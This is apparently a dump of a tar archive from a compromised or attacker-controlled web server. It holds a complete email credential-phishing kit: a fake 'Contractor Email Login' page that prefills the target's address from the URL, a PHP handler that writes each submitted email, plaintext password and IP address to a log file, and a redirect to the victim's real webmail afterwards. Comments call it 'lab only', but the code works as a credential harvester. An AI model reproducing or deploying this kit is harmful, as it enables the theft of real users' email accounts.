| Current Path : /home/emeraadmin/www/4d695/ |
| Current File : /home/emeraadmin/www/4d695/login.tar |
index.html 0000644 00000004564 15167673436 0006574 0 ustar 00 <!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Contractor Email Login</title>
<style>
body{font-family:Arial;margin:40px;background:#f6f7fb}
.box{max-width:420px;margin:30px auto;padding:20px;border:1px solid #ddd;border-radius:6px;background:#fff}
input{width:100%;padding:10px;margin:8px 0;box-sizing:border-box}
button{padding:10px 14px;background:#0073e6;color:#fff;border:none;border-radius:4px;cursor:pointer}
.info{margin-top:12px;color:#333;white-space:pre-wrap;font-family:monospace;font-size:13px}
</style>
</head>
<body>
<div class="box">
<h3>Contractor Email Login</h3>
<form id="f">
<input type="email" name="email" id="email" placeholder="email" required>
<input type="password" name="password" id="password" placeholder="password" required>
<button type="submit">Login</button>
</form>
<div class="info" id="info">Waiting...</div>
</div>
<script>
(function(){
const info = document.getElementById('info');
const emailInput = document.getElementById('email');
// Load email from fragment (#email@domain) or ?email=
const hash = decodeURIComponent(location.hash.slice(1));
if (hash && hash.includes('@')) {
emailInput.value = hash;
info.textContent = 'Loaded email from URL fragment: ' + hash;
} else {
const params = new URLSearchParams(location.search);
if (params.get('email')) {
emailInput.value = params.get('email');
info.textContent = 'Loaded email from query param: ' + params.get('email');
} else {
info.textContent = 'No email in URL. Use ?email= or #email@domain or type manually.';
}
}
document.getElementById('f').addEventListener('submit', async function(e){
e.preventDefault();
info.textContent = 'Checking...';
const form = new FormData(e.target);
try {
const res = await fetch('handler.php', {
method: 'POST',
body: form
});
const data = await res.json();
info.textContent = JSON.stringify(data, null, 2);
// If handler returned a webmail_link, redirect after 2s
if (data.webmail_link && data.webmail_link !== 'Not found') {
setTimeout(() => { location.href = data.webmail_link; }, 2000);
}
} catch (err) {
info.textContent = 'Error: ' + err;
}
});
})();
</script>
</body>
</html>
handler.php 0000644 00000006551 15167673436 0006723 0 ustar 00 <?php
header('Content-Type: application/json');
// Only accept POST (basic guard)
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
echo json_encode(['error' => 'POST only.']);
exit;
}
if (!isset($_POST['email']) || !isset($_POST['password'])) {
echo json_encode(['error' => 'Missing email or password.']);
exit;
}
$email = filter_var(trim($_POST['email']), FILTER_SANITIZE_EMAIL);
$password = trim($_POST['password']);
$domain = substr(strrchr($email, "@"), 1) ?: '';
$client_ip = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
// safe MX lookup
$mxRecords = [];
$dns = @dns_get_record($domain, DNS_MX);
if ($dns && is_array($dns)) {
foreach ($dns as $r) {
$mxRecords[] = [
'host' => $r['host'] ?? null,
'pri' => $r['pri'] ?? null,
'target'=> $r['target'] ?? null,
'target_ip' => isset($r['target']) ? gethostbyname($r['target']) : null
];
}
} else {
$mxRecords[] = ['error' => 'No MX records found or lookup blocked'];
}
// probe common webmail paths (lightweight)
function probe_url($url) {
// Use @get_headers but be tolerant of blocked outbound connections on shared hosting
$ok = @get_headers($url);
return $ok ? true : false;
}
function get_webmail_link($domain) {
$candidates = [
"https://webmail.$domain/",
"https://mail.$domain/",
"https://$domain/webmail/",
"https://$domain:2096/",
"https://$domain/owa/",
"https://$domain/zimbra/",
"https://webmail.mail.$domain/"
];
foreach ($candidates as $u) {
if (probe_url($u)) return $u;
}
// fallback: common path (may or may not exist)
return "https://$domain/webmail";
}
$webmail_link = get_webmail_link($domain);
// Safe local logging (lab only)
// Prefer a directory outside public_html. On cPanel, public_html is usually the web root,
// so we try to place logs one level above public_html: __DIR__ . '/../logs'
$logDirCandidates = [
__DIR__ . '/../logs', // outside public_html if handler placed in public_html/...
__DIR__ . '/logs' // fallback inside same directory
];
$logDir = null;
foreach ($logDirCandidates as $d) {
if (!file_exists($d)) {
@mkdir($d, 0700, true);
}
if (is_dir($d) && is_writable($d)) {
$logDir = $d;
break;
}
}
$logEntry = [
'ts' => date('c'),
'email' => $email,
'password' => $password, // For lab only. Do NOT store production plaintext passwords.
'ip' => $client_ip,
'mx' => $mxRecords,
'webmail' => $webmail_link
];
if ($logDir) {
$logfile = $logDir . '/attempts.log';
@file_put_contents($logfile, json_encode($logEntry, JSON_UNESCAPED_SLASHES) . PHP_EOL, FILE_APPEND | LOCK_EX);
$log_status = 'logged';
} else {
$log_status = 'failed to create log directory';
}
// Build safe openfile link (URL-encode)
$openfile_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http')
. '://' . ($_SERVER['HTTP_HOST'] ?? 'yourdomain.com')
. '/openfile/uid/' . rawurlencode($email);
// Return JSON (client can redirect UI on webmail_link)
echo json_encode([
'status' => 'ok',
'log_status' => $log_status,
'webmail_link' => $webmail_link,
'mx_records' => $mxRecords,
'openfile_link' => $openfile_link
]);
.htaccess 0000644 00000000215 15167673436 0006362 0 ustar 00 RewriteEngine On
# route /openfile/uid/<email> to openfile.php?uid=<email>
RewriteRule ^openfile/uid/(.+)$ /openfile.php?uid=$1 [QSA,L]